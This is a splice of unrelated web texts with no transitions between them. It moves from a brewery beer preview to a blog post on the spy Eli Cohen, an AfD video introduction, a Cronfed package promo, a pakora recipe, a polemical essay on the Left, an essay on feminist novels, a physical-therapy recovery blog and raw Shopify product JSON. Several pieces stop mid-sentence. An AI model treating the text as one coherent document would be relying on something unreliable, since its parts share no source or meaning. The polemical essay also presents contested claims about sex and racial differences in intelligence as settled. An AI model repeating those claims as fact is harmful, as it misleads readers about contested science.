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this traditional farmhouse ale that was first brewed by Finnish peasants back in the 16th Century!
It is comprised of a variety of both malted and unmalted grains (sometimes bread was used). Once the mashing stage was complete the mash was transferred to a kuurna (wooden trough) and filtered through juniper twigs which acted as a filter. The wort re-circulation and sparge through these juniper twigs gave the beer a juniper flavour which was used in place of hops.
Expect this unfiltered beer to have some serious body (since it is not boiled) to it with a taste of banana along with some tartness.
Marzenbier…Proust!
With the start of fall comes that exciting glass boot chugging festival from Germany that we all love, Oktoberfest! Wild Rose plans to have a Marzen (March, since it was brewed during that month) ready in time for us to enjoy during this most festive of times. I look forward to enjoying some of this full-bodied, toasty & rich beer next Calgary Oktoberfest while watching the Oompah Band perform “Ein Prosit”!
One-Offs
Keep your eyes open for small batch releases at the taproom from Wild Rose’s experimental barrel aging program. The effect that aging your beer in oak barrels has is quite incredible, I am a big fan of this and hope to see the trend continue to grow in Alberta.
Hopefully I’ll see you at the taproom for a pint soon but until then cheers to local craft beer!
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Like this: Like Loading...Photo Credit: The Lid
{Originally posted to the author’s website, The Lid}
Note: In a few weeks Israel will be commemorating the 50th Anniversary of the Six-Day-War. From now through the anniversary The Lid will present a series of articles under the headline “50 Years Since The The Six-Day-War, ” with the purpose of telling under-reported stories of the war. Today’s entry about Eli Cohen present the story of the man known as the greatest spy in Israeli history. Some might even suggest that he was the greatest spy of the 20th century.
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On May 18, 1965 fifty-two years ago, Eli Cohen, the Israeli intelligence agent who succeeded in penetrating the highest levels of Syria’s political and military elite before being arrested and convicted of espionage, was executed by hanging in Damascus’ Martyrs’ Square. Israeli spy Eli Cohen was publicly executed by the Syrians. This execution was aired on national Syrian television. After his execution, a sign with Anti-Zionist messages was placed on his hanging body. His body was left to hang for six hours.
Even though it was two years before the Six-Day War, more than any one single person Eli Cohen was the hero of the June 1967 conflict.
He was recruited into Israeli military intelligence in 1960. He was given a false identity as a Syrian Arab who was returning to Syria after living in Argentina. To establish his cover, Cohen moved to Argentina in 1961.
Early the following year, Cohen moved to Damascus. He had the foresight to embed himself with the Ba’ath party which he believed would soon rule Syria. They took over the country via military coup in 1963, by that time Eli Cohen (who was known in Syria as Kamel Amin Tsa’abe) was entrenched within the social elites of Syria. He became a “trusted friend” of the highest-ranking members of the party, while at the same time using the hidden transmitter in his home to send Israel Syria’s secrets.
Because of his high position in Syria’s social strata, in 1963 He was invited to discussions regarding Syria’s intentions to divert water from the headwaters of the Jordan River. That would have cut off one of Israel’s major fresh water supplies. Cohen transmitted the diversion plan back to Israel the IAF was able to effectively destroy the Syrian. Note for those of you who have never been to Israel…it’s called the Jordan River…but it’s more like a creek.
Cohen’s biggest achievement was to set up the Golan Heights to be conquered by Israel in the Six-Day-War. The Golan Heights is a plateau which overlooked the Syria/Israel border and allow the Syrian military, the high ground to send armaments into the northern Israeli villages.
Normally non military personnel were not allowed to visit the Syrian Golan Heights fortifications. This was a top-secret area where only senior members of the Syrian military were allowed to visit. However Eli Cohen was able to not only get a tour of the Golan Heights, but he got a comprehensive military briefing of the strategic area and all its positions.
Perhaps his best move during the visit, Cohen was able to put the equivalent of a target on the Syrian bunkers in the Golan Heights. He suggested to the Syrian military that eucalyptus trees should be planted around the military bunkers and mortars targeting Israel. Cohen told his Syrian buddies the trees would provide natural cover for the outposts (eucalyptus trees grow very quickly), preventing soldiers and personnel from suffering the effects of heat stroke. They thought it was a great idea, and planted the trees
Of course Cohen passed on the information to Israeli intelligence. During the Six-day destroyed the majority of those Golan Heights locations by targeting the Eucalyptus trees. The mature trees are still evident today when visiting the sites
In January 1965 hired Soviet experts caught him in the act of sending a radio message after large amounts of radio interference brought attention. At the time Eli Cohen was the third in line to the Presidency of Syria
After a showcase trial, he was found guilty of espionage. He was publicly hanged by Syria on May 18, 1965. To this day Syria refuses to return Eli Cohen’s remains to his family for burial in Israel.
A few years ago, in recognition of Cohen’s contribution to Israel’s survival, the Jerusalem Post interviewed the radio operator who received and decoded Cohen’s messages while he was in Syria:
Eli Cohen’s radio operator: Spy determined Israel’s destiny
Forty-three years have passed since he was executed, but Eli Cohen – “Our Man in Damascus” – is still considered by the defense establishment as the greatest spy in Israeli history. On Monday, The Jerusalem Post interviewed the man who for three years received and decoded the transmissions Cohen sent back to Israel from deep inside Syria. Cohen operated behind enemy lines – establishing close ties with the top Syrian political and military leadership – from 1962 until he was hanged almost exactly 43 years ago on May 18, 1965. “A,” today a 62-year-old veteran of the Israeli intelligence community, was a 20-year-old radio operator with Military Intelligence (MI) when in 1962 he began receiving the daily radio transmissions from Damascus. “I didn’t know who was sending the messages,” A told the Post on Monday during a tour of an exhibition on MI’s history that will open to the pubic on Independence Day. “It was, however, clear that the short messages were of extreme importance, which later helped determine Israel’s destiny ahead of the Six Day War.” Cohen’s transmissions were instrumental in helping the IDF prepare for the 1967 war with Syria. He provided information about the Syrian Air Force and military positions on the Golan. Mossad chief Meir Amit has been quoted as saying: “Eli succeeded far beyond the capabilities of most other men.” According to “A,” Cohen used to send daily messages always at the same time of the day – 8:30 a.m. Cohen, who was known in MI by the number 566, wrote in encrypted French and sent his messages via a tiny radio transmitter.
The last original message that was transmitted to MI headquarters in Israel was sent by the Syrian military following Cohen’s capture:
To [prime minister] Levi Eshkol and the handler of his spies: Kamel [Eli Cohen’s fake identity in Syria] and his friends have been staying by us for some three years. Signed by: Syrian Arab Intelligence.”
With that message Israels leaders knew what Eli Cohen was about to face.
Cohen was tortured and convicted by a military tribunal which had denied him a lawyer. Despite many appeals, including from Pope Paul VI and the governments of France, Belgium and Canada, the Syrian government refused to commute the death sentence, Eli Cohen was executed in Martyrs’ Square, Damscus, in May 1965 before some 10,000 spectators and a TV audience.
Although the Six-Day-War wouldn’t happen for another two years, Eli Cohen was one of the keys to Israel’s victory over Syria in 1967.There is no question that the intelligence that he sent was instrumental in allowing Israel to quickly and effectively defeat the Syrians and gain the Golan Heights. All they had to do was target the trees.
May Eli Cohen’s memory always be for a blessing, he was a true hero.
Eli Cohen’s memorial “Garden of the Missing Soldiers” in JerusalemIn recent years we have featured several videos of Björn Höcke, who is now an MP for the AfD (Alternative für Deutschland, Alternative for Germany). The following video is a short extract from a speech given recently by Mr. Höcke.
Oz-Rita, who translated the clip for subtitling, includes these notes:
This speech was given just after the election victory of Donald Trump, on November 12, 2016. The event, organised by the AfD, took place in Gunzenhausen in Bavaria. Höcke is one of my favorite MPs in Germany (passionately feared, hence hated and defamed by the dark Merkel side) because he puts his energy into Klartext (clear language) and seems fearless. I see a future Chancellor in him, if they do not kill him one way or another. In his speech he welcomes the victory of Donald Trump, defends Populism, disparages the left-right schema, condemns Political Correctness and praises patriotism.
Many thanks to Vlad Tepes for the subtitling:
Transcript:Every project should be monitored. It’s common sense. We all know it. We’re all sensible developers. What is constructed must eventually fall, and without monitoring, we won’t know when or how to fix it.
And yet thousands of projects go without logging or monitoring, working fine until they don’t, preventably depressing countless others.
Cronfed is a Python package that embodies a **Minimum Viable Monitoring **mindset. Something is better than nothing, and there are far too many cron jobs with nothing. Whether lazy or busy, take 5 minutes and clear your conscience.
pip install cronfed
echo ”*/15 * * * * /usr/bin/python -m cronfed --output /var/www/mysite/assets/cronfed.rss /var/mail/myuser 2>&1 | tee -a /home/myuser/project/logs/cronfed.txt”
Just replace “myuser”, the “mysite” path, and the “logs” with the appropriate paths and you’ll be ready to point your feedreader or IFTTT at your site and commence breathing easier. Learn more on the Cronfed docs. (Or a bigger example crontab and output.)
If only all solutions were this easy and consequence-free.
We use Cronfed for Hatnote’s Recent Changes Map and Weeklypedia (which just turned 1! You should sign up, learn about Wikipedia, and experience the reliability firsthand!). Predictably, we are all very satisfied with a simple tool that does one job well.Broccoli, Cauliflower, potatoes, carrots and greens in these Easy Mixed Vegetable Pakora. Baked Veggie Pakore Bhajjiya. Vegan Soyfree Recipe. Easily Glutenfree. The pakoda fritters are great for breakfast, as appetizers, or use to fill up tacos or wraps.
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Holi is around the corner and that means garam (hot) Bhajiyas and chutneys with masala chai! These mixed Vegetable Pakora (bhajiya) are loaded with vegetables like broccoli, cauliflower, carrots, potato, onions and cilantro. The veggies are processed for a few seconds until grated, then tossed in chickpea flour, spices and baked. The pakoras are crisp and delicious and can be served with any green chutneys, tamarind date chutney or sauces of choice. They come together within minutes and then it is just a wait for the oven to beep. Make these simple Veggie and chickpea flour fritters! Serve as is or fill up tacos or wraps, or over a salad with creamy or sweet dressing of choice, or use as koftas in a creamy makhani sauce.
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I make these with chickpea flour and have not tried them with besan (gram flour – see differences on point 4 on this post here). If you make these with besan, use as less water as possible, and do report back with any adjustments if they were needed or if the pakoras flattened or retained their shape.
More veggie snacks and savory Holi recipes from the blog
Shred/grate the veggies in a processor and mix in a bowl.
Add salt, spices, chickpea flour and mix in. Let it sit for a few minutes and then mix in oil and water if needed.
Drop scoops of the mixture on parchment lined baking sheet. Spray oil on top.
Bake until golden brown. Cool and serve with chutneys or sauces of choice.
The pakoras are great for breakfast, as appetizers, or use to fill up tacos or wraps, or over a salad with creamy dressing or sweet dressing of choice.I have finally been able to summarize the project of the Left in a single word that captures its essence, both in what they are trying to accomplish and what the inevitable result is. Leftists will agree with the first part of this analysis, but not with the second.
The project of the Left
In order to understand the Left one must understand the Right, or rather what the Left perceives as the Right. The terms “left wing” and “right wing” stem from the French parliament during the Enlightenment. Those on the right side of the Parliament leader supported the ancien régime, the old system of feudal monarchy, whereas those on the left side were radicals who opposed the king and wanted to uproot the ancién regime and replace it with something completely new.
Originally the Left consisted of the highly diverse group of anarchists, classical liberals and socialists. Although they differ greatly in worldview and ideology their analysis of the Right overlapped in many respects. Common for them all is that they loathed the ancien régime and what it represented: group warfare. When left to their own devices people tend to coalesce into groups: families, cliques, genders, classes, races, nations. By the very nature of such groups some people are closer to others, which leads to very different behavior towards group members and outsiders. Generally speaking one is more caring, understanding, sympathetic and respectful towards the group members than towards the stranger. Because of this it is easier for a group to turn to violence, coercion and oppression of other groups. In short, this group dynamics leads to unfair treatment and ultimately slavery, oppression, imperialism and warfare.
Now, the classical liberals were individualists and detested collectivism as such, and their solution was therefore to form a government based on the rule of law and whose only legitimate function was to protect peaceful individuals from coercion and violence. But both the anarchists and the classical liberals were marginalized and eventually ousted from the Left, leaving only the collectivist socialists as sole owner of the Left. Their solution was radically different from that of the classical liberals.
The paradox is that socialists recognize the destructive nature of collectivism, even if they are collectivists themselves. They understand that different types of collectives will clash into warfare and some will be stronger than the others and form class hierarchies or castes as they are called in India. So how do the collectivist socialists solve this problem? Integration.
Their solution is to destroy the walls between groups and force them to merge so that they become part of the same collective. If only one group exists then there can be no class warfare and oppression because everyone belongs to the same class where all are brothers and sisters, equals that are bound together by love and unity.
So the basic worldview of the collectivistic left is that a) differences are evil because they lead to different group formations which in turn lead to group warfare and ultimately a feudal caste system, and b) their solution to this is to destroy all significant differences that lead people to form different groups and thereby blend them together to create one big group where all is equal. This basic worldview entirely explains why the Left has embraced socialism, feminism, anti-racism, subjectivism, relativism, multiculturalism, internationalism and environmentalism.
The purpose of socialism is not merely to redistribute wealth so that the poor also gets a good life. No, its purpose is to hide the fact that some people are smarter and more productive than others. In a socialistic society the goal is to make it impossible to judge someone’s abilities based on their wealth. Socialism strives to become ability-blind.
The purpose of feminism is not merely to make gender neutral laws. No, its purpose is to hide the fact that there are some gender differences. In a feministic society the goal is to make it impossible to judge whether someone is a woman or a man. Feminism strives to become gender-blind.
Anti-racism is not merely about making race neutral laws and to make people judge people as individuals. No, its purpose is to hide the fact that there are some statistical race differences. In an anti-racist society the goal is to destroy all statistical differences through affirmative action. Anti-racism strives to become color-blind.
The purpose of subjectivism is not merely to point out that some things are personal opinions and not facts. The purpose is to destroy the notion of fact altogether. Subjectivism strives to become truth-blind.
The explicit purpose of relativism is to destroy all significant differences between cultures so that no-one judges one culture to be better than another. Relativism strives to become culture-blind. Similarly the purpose of multiculturalism is not merely the peaceful co-existence of people of different cultural background, but to blend together and integrate all cultures into one big culture.
The purpose of internationalism is not merely to promote world peace and cooperation. No, its purpose is to destroy the boundaries and distinctions between the nation states, and shift power towards a world government under the United Nations.
The purpose of environmentalism is not merely to have a clean environment and a sustainable society. No, its purpose is ultimately to give equal rights to nature as to humans, to blend the two into one big happy family, where dogs, rocks, mosquitos and trees enjoy the same rights as humans.
In short, wherever there is a conflict of interest between groups, the solution of the Left is to merge, to blend, to mix and destroy all differences. Notice that the Left always start with legitimate concerns such as racial oppression, sexual preference oppression, gender oppression, nationalism and pollution, but due to the fact that they are collectivists they only have the same wrong solution to all these concerns. They call it integration, but this is a bad word that fails to capture their efforts not only to integrate but to destroy all differences. There does, however, exist a word that perfectly captures their solution: confusion.
Confusion
The word “confuse” comes from latin and literally translates as “fuse with” or “blend together.” But in medieval Europe “confusion” primarily came to mean “disorder,” “shame” or “chaos.” Picture a sandcastle where the individual sand grains have been neatly organized and grouped into structures and generated order. Then someone runs it over with a bulldozer and blends all the sand grains together into an evenly distributed, flat pile of sand. That’s pretty much what they meant by con-fusion – to blend together and create chaos where there previously was order – and this pretty much sums up the project of the Left. Whenever they see group differences and structures forming their knee jerk reaction is to bring out the bulldozer and raze the structures flat, to confuse all groups into one giant group with no internal structure.
Sometimes razing bad power structures, like apartheid, slavery or feudal castes, to the ground is legitimate. The major problem with the Left’s solution is that it not only destroys bad power structures, it attempts to destroy any difference that is perceived as significant. By destroying distinctions in reality and in people’s minds they are severing the link between mind and reality. Mind becomes helpless and blind, unable to navigate in reality. The result is chaos – confusion. People of the Left have a confused worldview, and are confusers whose goal is to confuse the world – in both senses of the word: blend together and create chaos. Confusion is therefore the single most descriptive word to capture the essence of the Left ever since the collectivists took hold.
True Integration: The One in the Many
I started out by saying that the classical liberals, the socialists and the anarchists shared much of their analysis of the Right, but that their philosophy is very different and therefore their conclusions about how to deal with group warfare are very different. Socialists are collectivists and are unable to imagine any other solution than a collective one, hence their solution is confusion. Classical liberals are individualists and their solution to group warfare is true integration.
The individualistic understanding of integration originated with Aristotle who saw essences as “the one in the many.” In modern times Aristotle’s understanding was significantly improved upon by Ayn Rand, who saw essentials not as existents in their own right, but as abstractions – objects of the conceptual mind.
Ayn Rand’s understanding of conceptual integration of many concretes into conceptual oneness (“the one in the many”) is that whenever we form a concept we should not fuse the constituents of the group. Even if we lump them together we should keep the individuals that make up the group distinct. Hence, Rand’s integration may be thought of as social: bringing individuals together into a unity, yet at the same time keeping them separate and distinct as individuals, respecting their boundaries. Togetherness and separateness at the same time: the one in the many. In contrast the Left only wants togetherness because they believe that separateness between different groups is the only alternative.
Let us now apply this notion of “one in the many” to politics. Individualistic integration in society means living together, yet maintaining boundaries, which means respecting each other’s life, liberty and property. “No man is an island,” says the Leftist and aims to confuse all men into a giant island. “Yes, every man is an island,” the Individualist replies, “but part of an archipelago of other islands: together, yet separate and distinct.”
Social integration also applies to concept formation, including statistical concepts such as gender and race. Genders are physiologically distinct, but there is great variation within the genders in the properties such as height, weight and psychological make-up. Because of this it is impossible to know from someone’s gender alone how tall they are, what their psychological make-up is etc. These properties therefore need to be inspected in every individual. Thus, we cannot simply substitute the individual and replace it with its gender. This gives very inaccurate information. We must retain the many, even if we form a concept that unites them all into one gender.
However, gender is statistically a very useful concept, something any clothes producer may attest to. Women and men come in all shapes and sizes, but some features dominate. Men tend to be taller and bigger than women, women tend to have smaller waists and broader hips than men etc. Clothes producers exploit these statistical differences and dominances when they design clothes.
Similarly, men and women differ slightly in intelligence. On average, men are ever so slightly more intelligent than women, but men also have a greater variation than women. Or put bluntly: there are far more geniuses among men than among women, but there are also more idiots. The variation in intelligence is, however, so great within both genders that you cannot from gender alone infer the intelligence of an individual.
The statistical distribution of intelligence in the genders can however be useful, such as in detecting gender discrimination. Suppose we know that in order to get a PhD in physics one needs to have an IQ greater than 130. If we know the IQ distribution of both men and women we can predict the men to women ratio of Physics PhDs. Suppose that there are 3 times more men than women that have an IQ above 130. From this we should expect the men to women ratio to be 3:1 – three male Physics PhDs for every female PhD. But if we observe, say, ten male Physics PhDs for every female PhD, then this could indicate that women are being discriminated against.
Race, unlike gender, is a purely statistical concept. There are no uniquely distinct physiological differences between races as there are between species or genders. The proper biological definition of race is therefore “a group of mildly inbred and highly genetically diffused individuals.” So, for instance, to be “white” (or Caucasian) is to be someone whose ancestors primarily lived in Europe, some 40.000 years ago.
Again the variation within a race in personal characteristics is so great that they cannot be inferred from race alone. One must inspect them and evaluate them in every individual. Once again, it is necessary to retain the many so not to lose information. However, the concept of race can also be useful. For instance, one should not be surprised if East-Africans dominate in long distance running sports, and West-Africans dominate sprint. Similarly one should not be surprised that so many Jews turn out to be so distinguished in intellectually demanding fields such as physics, chemistry, literature, philosophy and economics. Just like statistical gender differences can be used to detect possible gender bias in various fields, statistical racial differences can be used to detect possible racism.
The reason I brought up gender and race as examples of how to integrate a diverse group into one without losing sight of the many constituents is to show that it is possible to form useful concepts of gender and race without resorting to sexism or racism, but to do so requires a firm understanding of true integration.
This is the great Achilles heel of the Left. They are unable to form concepts without wiping out the individuals that make them up. Therefore, to them forming the concept of race is synonymous with racism, forming the concept of gender is synonymous with sexism, and forming a society which allows social differences to exist is hatred of the poor. To a properly integrated mind it is not problematic to live respectfully together with other people who have more or less wealth than themselves, or to live with people of other races or genders, but to the confused mind this is impossible. In order to cure this great confusion we need to start by educating people about how to properly form concepts. Bringing proper social order to the world does not start with political action, but with clarity of mind.
Disclosure: This article was in part inspired by the second novel in Neal Stephenson’s Baroque Cycle trilogy called “The Confusion.”There’s a section of Charlotte Bronte’s Jane Eyre that often gets glossed over in discussion, in favor of the novel’s central gothic romance. After Jane realizes her intended, Mr. Rochester, is a bigamist, with a mad wife in the attic, she runs away. She does this without much money, and quickly loses what money she does have — she finds herself utterly destitute, hungry, and exposed to the elements, wandering around the moor towns for days with almost no human contact except for begrudging, halfhearted charity.
Finally, she lies herself down on the earth, wishing to give up but unable to do so.
And I sank down where I stood, and hid my face against the ground. I lay still a while: the night-wind swept over the hill and over me, and died moaning in the distance; the rain fell fast, wetting me afresh to the skin. Could I but have stiffened to the still frost — the friendly numbness of death — it might have pelted on; I should not have felt it; but my yet living flesh shuddered at its chilling influence.
Rather than sheltering her, nature punishes her. But Jane was resolute. She chose this fate over her previous life in a prison of her womanhood, where she has been chained over and over to domineering men, and left powerless.
Of course, she’s saved from the brink, but not after being ill to the point of catatonic for weeks.
Jane’s short and harrowing journey into the semi-wilderness came to my mind this past month when I read two of 2014’s acclaimed, and arguably feminist, novels by women: Evie Wyld‘s All The Birds, Singing, and Catherine Lacey’s Nobody is Ever Missing. In Wyld’s novel, a woman named Jake leaves her very troubled past in Australia behind to raise sheep in remotest Britain, refusing human companionship in favor of her dog and her sheep for some time, for some shrouded reason that is slowly revealed. In Lacey’s book, which reads like an extended, feminist version of Bartelby the Scrivener, protagonist Elyria leaves her older husband in New York to hitchike through New Zealand, abandoning all nascent attachments she forms there, with, essentially, an “I’d prefer not to.”
Both novels are written in first person, like Jane Eyre, and both rather fearsomely stand on the brink of nihilism in their ideology — rescued by their own creative force. Unlike Jane, who becomes reconciled to society by inheriting money and marrying a maimed and widowed Rochester, the progress these contemporary heroines make towards reconciliation with the life they’ve spurned could be measured in mere inches — or arguably, goes backwards. To make another comparison, this ethos is not quite like Wild, in which Cheryl Strayed’s choice to leave for the wilderness helps her return to as a member of the human fellowship, healed. Yet the feminist principles found in Strayed’s book can also be found in these novels. They just rise the next level: there’s no point in ever going back, the message seems to be. There is nothing waiting for women in either place but pain. So the only choice left is to distance themselves emotionally from the whole damn world. As Daphne Merkin wrote of Lacey’s novel, in the New Yorker, her protagonist is the embodiment of Leslie Jamison’s idea of the post-wounded woman.
While All the Birds, Singing works its way backwards and forwards towards a big reveal about Jake’s past and final, symbolic step towards her regained humanity at narrative’s end, the overall effect is bleakness and even horror. Meanwhile, Nobody Is Ever Missing offers us almost nothing in Elyria’s journey to give us hope for her. I admit that I found this very unsatisfying at first. But reading both novels back to back made me appreciate them far more than I would have otherwise, given that the traditionalist reader in me always likes to see more catharsis.
Yet since reading Wild, I have become deeply intrigued by the idea of dropping out, as it were, of civilization’s routines and expectations as a particular form of feminist rebellion, almost an ultimate feminist end-game. That’s because the most essentially building blocks of civilizations are families and romantic relationships.
Therefore, if relationships between women and men, and women and their families, are strained and forced into a position of inequality or unmet expectations by patriarchy, than brutal nature and utter solitude becomes a sensible refuge, an alternative. This is underscored by the fact that both novels do nothing to talk up nature, despite the poetic title of Wyld’s book. Rather, they are concerned mostly with the barbarism of other creatures, from the sting ray that attacks Elyria on a beach, to the large creature that is stalking and killing Jake’s sheep.
It occurs to me, with my only-partial knowledge of the full range of recent literary output, that this exploration of solitary self-segregation for women is a version of what adultery was in the 19th and early 20th century, a symbol of escape that is also a form of doom on its own. I’m fascinated and eager to see more literature in this vein that burrows into the concept of female detachment, so deeply, perhaps, that we can find something entirely new on the other side.So the other day my mom ran into someone in the airport that was very important to me while I was on the trauma floor in Parkland: my inpatient physical therapist, Stephanie. This just reminded me of how all three of my PT’s had such a crazy profound impact on my quality of life last year. They took me from this physically and motivationally broken person and pushed me to walk again. Thanks to Stephanie, Matt, and Kim, I’m running, jumping, dancing, and trying really hard not to fall down too much and destroy all the progress I’ve made.
Stephanie had to deal with me at my most shattered, most cranky, and most unwilling/unable to move stages of healing. I was finally done with my surgeries, heavily dependent on pain medication to function, and still ultra-sensitive to movement, sound, light, smells, and life in general. I literally couldn’t roll over in bed without two nurses and at least one family member’s help. Stephanie was so insanely patient and understanding, but she also didn’t put up with any of my flak. She would explain how every muscle in my leg was connected and why I needed to do certain exercises, and then make me do reps until I couldn’t anymore. She knew the difference between real “I need to stop” pain and “oww but this is harrrdd” pain. Learning how to get into and steer a wheelchair was also quite the experience. Slide boards are my worst enemy. I’m making mine into a shelf out of spite. I still have video of her playfully making fun of me the first time I tried rolling down the hallway in my wheelchair because I was terrible at steering. Wheelchairs are hard, ok? Stephanie picked up on exactly which method of motivation I respond best to (mostly teasing and challenges), and would not only push me, but knew exactly when I really needed to stop. She was so helpful and such a source of inspiration in such a crazy time. She helped me to recognize and enjoy the little victories like “yay I rolled over all by myself,” or “I sat up on the edge of the bed for like 5 whole minutes today.” These accomplishments just continued to get more and more significant as the year went on, but I had to start somewhere.
After I was deemed well enough to really start my rehabilitation, I was moved to the rehab floor for about a week. The rule of the rehab floor is you don’t talk about the rehab floor you can only stay as long as you’re in two different kinds of therapy: some combination of speech, occupational, or physical. Considering I was blessed with no head or spinal cord injuries, speech therapy was unnecessary and occupational therapy could only help so much. At this point, I was gaining a little bit more strength, they were finally letting me eat solid food again, and I was still really cranky because being a normally extremely self-sufficient person trapped in the body of someone with little ability to take care of themselves gets really frustrating. A lot of people suffered. A dietician wouldn’t leave me alone one day, so I literally asked her point-blank “what will it take for you to go away?” I was truly a joy to be around.
My poor, poor occupational therapists. They really were just doing their jobs, but they were so damn perky about getting me to put on pants that I wanted to hit them in the face. No, you try putting on pants with a healing pelvis, then get back to me. I flew through the rest of occupational therapy, with the help of my freakishly long arms that were very useful in wheelchair-bound situations, and my other superpower of doing literally whatever it takes to get people to leave me alone.
Matt was my physical therapist on the rehab floor, and he was probably the only reason I didn’t go on a rampage while I was up there. That, and the whole inability to move very quickly or far or by myself. He also picked up on the fact that I was a sarcastic pain in the buttock, and used that for motivation. I had to do what felt like a million of these leg exercises that just about killed me, but helped my recovery so much in the long run. There was one very memorable day that someone forgot to inform me that my pain pills were now “as needed,” which meant I had to call a nurse every four hours for norco or I would feel the wrath of my pelvis. I usually took these pills before my daily PT so that I could make it through without wanting to die, but that day I didn’t have that option. So I ended up just sobbing my way through physical therapy, which I’m sure wasn’t horrifying to anyone. Sorry again, Matt. He really helped me make it through my short time in rehab, just by treating me like a normal person. It’s strange how annoying babying can get, even when it’s absolutely necessary.
I saw Stephanie a few times in outpatient rehab after I was released from the Rehab floor. She would check up on me and make sure Kim wasn’t letting me slack on anything. When she ran into my mom in the airport, she asked how I was doing and of course made a comment about how my legs are still too skinny (I’m working on it!!). Matt also found me months later when I was back in the hospital recovering from yet another surgery. He actually did laps with me and my cane around the wing I was recovering in and we just talked like normal. It was really nice to see that these relative strangers cared about me even after I wasn’t their patient anymore.
~~~~~~~~~~~~
Leaving the hospital after an extended, eventful stay is really difficult. There are so many emotions attached to it: excitement because you get to leave, fear because you have to actually do what all these nurses have been helping you with for the past 6mo, and anxiety about change in general. I was originally scheduled to be discharged from the hospital on February 14, 2014. I remember because I was thinking, “wow what a delightful Valentine’s day for everyone this year.” However, on that previous Wednesday I believe(?), a nurse’s assistant came in at around 4am and changed my whiteboard to say my checkout day was the 7th. A week earlier than planned. I of course panicked and texted my Dad, who was probably loving being woken up by a super early text from his daughter in the hospital. My poor parents. The problem with this random change was I didn’t have anywhere to live. Before the accident, I had been living with my oldest brother in his house that was built in the 70’s. Know what the 70’s didn’t have? Proper door width requirements for wheelchairs. So, my whole living situation was still being arranged, but we had much less time than anticipated. Still, I had to leave because I was so over occupational therapy, and was deemed well enough for outpatient physical therapy. Luckily everything worked out, |
,"inventory_quantity":0,"inventory_management":"shopify","inventory_policy":"deny","barcode":""},{"id":12880983326800,"title":"14 inches","option1":"14 inches","option2":null,"option3":null,"sku":"W18NE-LITGD","requires_shipping":true,"taxable":true,"featured_image":null,"available":false,"name":"Little Flower Necklace - 14 inches","public_title":"14 inches","options":["14 inches"],"price":3700,"weight":0,"compare_at_price":null,"inventory_quantity":0,"inventory_management":"shopify","inventory_policy":"deny","barcode":""},{"id":12880983359568,"title":"18 inches","option1":"18 inches","option2":null,"option3":null,"sku":"W18NE-LITGD","requires_shipping":true,"taxable":true,"featured_image":null,"available":false,"name":"Little Flower Necklace - 18 inches","public_title":"18 inches","options":["18 inches"],"price":3700,"weight":0,"compare_at_price":null,"inventory_quantity":0,"inventory_management":"shopify","inventory_policy":"deny","barcode":""}],"images":["\/\/cdn.shopify.com\/s\/files\/1\/2023\/7051\/products\/000EB527-84FB-4443-9839-42E55941DEBE.jpeg?v=1547658842","\/\/cdn.shopify.com\/s\/files\/1\/2023\/7051\/products\/IMG_2318_copy.jpg?v=1547658842","\/\/cdn.shopify.com\/s\/files\/1\/2023\/7051\/products\/5229BE5D-F944-4527-83E0-3F396ABA330D.jpeg?v=1547658842","\/\/cdn.shopify.com\/s\/files\/1\/2023\/7051\/products\/IMG_2329_copy.jpg?v=1547658842","\/\/cdn.shopify.com\/s\/files\/1\/2023\/7051\/products\/15DF11AA-6371-4463-B43B-81B43C31BFEF.jpeg?v=1547658842"],"featured_image":"\/\/cdn.shopify.com\/s\/files\/1\/2023\/7051\/products\/000EB527-84FB-4443-9839-42E55941DEBE.jpeg?v=1547658842","options":["Chain Length"],"content":"\u003cdiv\u003e\u003c\/div\u003e
\u003cdiv\u003eSt. \u003cspan\u003eThérèse of Lisieux is known widely around the world for her little way and as “the greatest saint of modern times.\" Over the past few years, I’ve read many articles about her and her life. One aspect of her life that has always intrigued me is that before she died, she explained, “after my death, I will let fall a shower of roses. I will spend my time in heaven doing good upon earth.” \u003c\/span\u003eAfter her death, roses did, quite literally, appear to those who asked for her intercession, as did the smell of roses. Her shower of roses comforts me in that it’s like she’s telling me that God has heard my petitions. \u003c\/div\u003e
\u003cdiv\u003e\u003c\/div\u003e
\u003cdiv\u003eWear this necklace as a reminder that your petitions are heard and are brought to Jesus and that doing small works with great love are sometimes the most meaningful. \u003c\/div\u003e
\u003cul\u003e
\u003cli\u003eGold Filled 13mm Disc\u003c\/li\u003e
\u003cli\u003e14k Gold Filled 13”, 14”, 16”, or 18” Chain\u003c\/li\u003e
\u003cli\u003eBouquet of Roses design\u003c\/li\u003e
\u003cli\u003eEach disc is hand stamped, so every necklace is unique\u003c\/li\u003e
\u003cli\u003eHandmade with love in the USA\u003c\/li\u003e
\u003cli\u003eStella \u0026amp; Tide Original - this piece is custom designed in-house and can only be found on our website\u003c\/li\u003e
\u003cli\u003eFor updated production times, please see our \u003ca href=\"https:\/\/stellatide.com\/pages\/faq\"\u003eFAQ page\u003c\/a\u003e
\u003c\/li\u003e
\u003c\/ul\u003e
\u003cp\u003e\u003cspan\u003e*Please note: this is a hand stamped piece, so no two pieces will look exactly the same. Though we can’t promise perfect lines or spacing, we can guarantee that each piece will be made with careful attention to detail and a lot of love.\u003cspan class=\"Apple-converted-space\"\u003e \u003c\/span\u003e\u003c\/span\u003e\u003c\/p\u003e
\u003cp\u003e\u003cspan\u003e\u003cspan class=\"Apple-converted-space\"\u003e The best way to choose a length is to measure your neck with a piece of string and then measure the string on a ruler.\u003c\/span\u003e\u003c\/span\u003e\u003c\/p\u003e"}
{"id":1562975731792,"title":"Little Flower Necklace","handle":"little-flower-necklace","description":"\u003cdiv\u003e\u003c\/div\u003e
\u003cdiv\u003eSt. \u003cspan\u003eThérèse of Lisieux is known widely around the world for her little way and as “the greatest saint of modern times.\" Over the past few years, I’ve read many articles about her and her life. One aspect of her life that has always intrigued me is that before she died, she explained, “after my death, I will let fall a shower of roses. I will spend my time in heaven doing good upon earth.” \u003c\/span\u003eAfter her death, roses did, quite literally, appear to those who asked for her intercession, as did the smell of roses. Her shower of roses comforts me in that it’s like she’s telling me that God has heard my petitions. \u003c\/div\u003e
\u003cdiv\u003e\u003c\/div\u003e
\u003cdiv\u003eWear this necklace as a reminder that your petitions are heard and are brought to Jesus and that doing small works with great love are sometimes the most meaningful. \u003c\/div\u003e
\u003cul\u003e
\u003cli\u003eGold Filled 13mm Disc\u003c\/li\u003e
\u003cli\u003e14k Gold Filled 13”, 14”, 16”, or 18” Chain\u003c\/li\u003e
\u003cli\u003eBouquet of Roses design\u003c\/li\u003e
\u003cli\u003eEach disc is hand stamped, so every necklace is unique\u003c\/li\u003e
\u003cli\u003eHandmade with love in the USA\u003c\/li\u003e
